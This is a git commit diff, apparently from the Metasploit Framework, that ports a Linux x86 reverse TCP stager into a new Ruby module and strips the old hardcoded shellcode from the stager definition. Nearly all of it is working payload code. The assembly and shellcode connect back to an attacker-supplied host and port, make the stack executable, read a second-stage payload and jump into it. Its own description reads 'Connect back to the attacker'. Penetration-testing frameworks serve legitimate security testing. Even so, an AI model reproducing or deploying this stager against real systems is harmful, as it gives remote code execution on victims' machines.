Reverse tcp support for POSIX

Ported the stager and wired in the new work to make the configuration
function.
bug/bundler_fix
OJ 2015-05-04 20:11:26 +10:00
parent 9300158c9a
commit 93bf995b32
3 changed files with 150 additions and 76 deletions

View File

@ -0,0 +1,139 @@
# -*- coding: binary -*-
require 'msf/core'
module Msf
###
#
# Complex reverse TCP payload generation for Linux ARCH_X86
#
###
module Payload::Linux::ReverseTcp
include Msf::Payload::Linux
#
# Generate the first stage
#
def generate
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_reverse_tcp(
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
)
end
conf = {
host: datastore['LHOST'],
port: datastore['LPORT'],
retry_count: datastore['ReverseConnectRetries'],
exitfunk: datastore['EXITFUNC'],
reliable: true
}
generate_reverse_tcp(conf)
end
def generate_transport_config(opts={})
{
:scheme => 'tcp',
:lhost => datastore['LHOST'],
:lport => datastore['LPORT'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i
}
end
#
# Generate and compile the stager
#
def generate_reverse_tcp(opts={})
asm = asm_reverse_tcp(opts)
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Reliability adds 10 bytes for recv error checks
space += 10
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_reverse_tcp(opts={})
# TODO: reliability is coming
#retry_count = [opts[:retry_count].to_i, 1].max
#reliable = opts[:reliable]
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
asm = %Q^
xor ebx, ebx
mul ebx
push ebx
inc ebx
push ebx
push 0x2
mov al, 0x66
mov ecx, esp
int 0x80 ; sys_socketcall
xchg eax, edi
pop ebx
push #{encoded_host}
push #{encoded_port}
mov ecx, esp
push 0x66
pop eax
push eax
push ecx
push edi
mov ecx, esp
inc ebx
int 0x80 ; sys_socketcall
mov dl, 0x7
mov ecx, 0x1000
mov ebx, esp
shr ebx, 0xc
shl ebx, 0xc
mov al, 0x7d
int 0x80 ; sys_mprotect
pop ebx
mov ecx, esp
cdq
mov dh, 0xc
mov al, 0x3
int 0x80 ; sys_read
jmp ecx
^
asm
end
end
end

View File

@ -18,13 +18,6 @@ module Payload::Windows::ReverseTcp
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Windows::Exitfunk
#
# Register reverse_tcp specific options
#
def initialize(*args)
super
end
#
# Generate the first stage
#

View File

@ -6,83 +6,25 @@
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/linux/reverse_tcp'
###
#
# ReverseTcp
# ----------
#
# Linux reverse TCP stager.
#
###
module Metasploit3
module Metasploit4
CachedSize = 71
include Msf::Payload::Stager
include Msf::Payload::Linux
include Msf::Payload::Linux::ReverseTcp
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse TCP Stager',
'Description' => 'Connect back to the attacker',
'Author' => [
'skape', # original
'egypt', # NX support
],
'Author' => [ 'skape', 'egypt', ],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' =>
{
'Offsets' =>
{
'LHOST' => [ 0x12, 'ADDR' ],
'LPORT' => [ 0x19, 'n' ],
},
'Payload' =>
"\x31\xdb" +# xor ebx,ebx
"\xf7\xe3" +# mul ebx
"\x53" +# push ebx
"\x43" +# inc ebx
"\x53" +# push ebx
"\x6a\x02" +# push byte +0x2
"\xb0\x66" +# mov al,0x66
"\x89\xe1" +# mov ecx,esp
"\xcd\x80" +# int 0x80
"\x97" +# xchg eax,edi
"\x5b" +# pop ebx
"\x68\x7f\x00\x00\x01" +# push dword 0x100007f
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
"\x89\xe1" +# mov ecx,esp
"\x6a\x66" +# push byte +0x66
"\x58" +# pop eax
"\x50" +# push eax
"\x51" +# push ecx
"\x57" +# push edi
"\x89\xe1" +# mov ecx,esp
"\x43" +# inc ebx
"\xcd\x80" +# int 0x80
"\xb2\x07" +# mov dl,0x7
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
"\x89\xe3" +# mov ebx,esp
"\xc1\xeb\x0c" +# shr ebx,0xc
"\xc1\xe3\x0c" +# shl ebx,0xc
"\xb0\x7d" +# mov al,0x7d
"\xcd\x80" +# int 0x80
"\x5b" +# pop ebx
"\x89\xe1" +# mov ecx,esp
"\x99" +# cdq
"\xb6\x0c" +# mov dh,0xc
"\xb0\x03" +# mov al,0x3
"\xcd\x80" +# int 0x80
"\xff\xe1" # jmp ecx
}
))
'Stager' => { 'Payload' => '' }))
end
end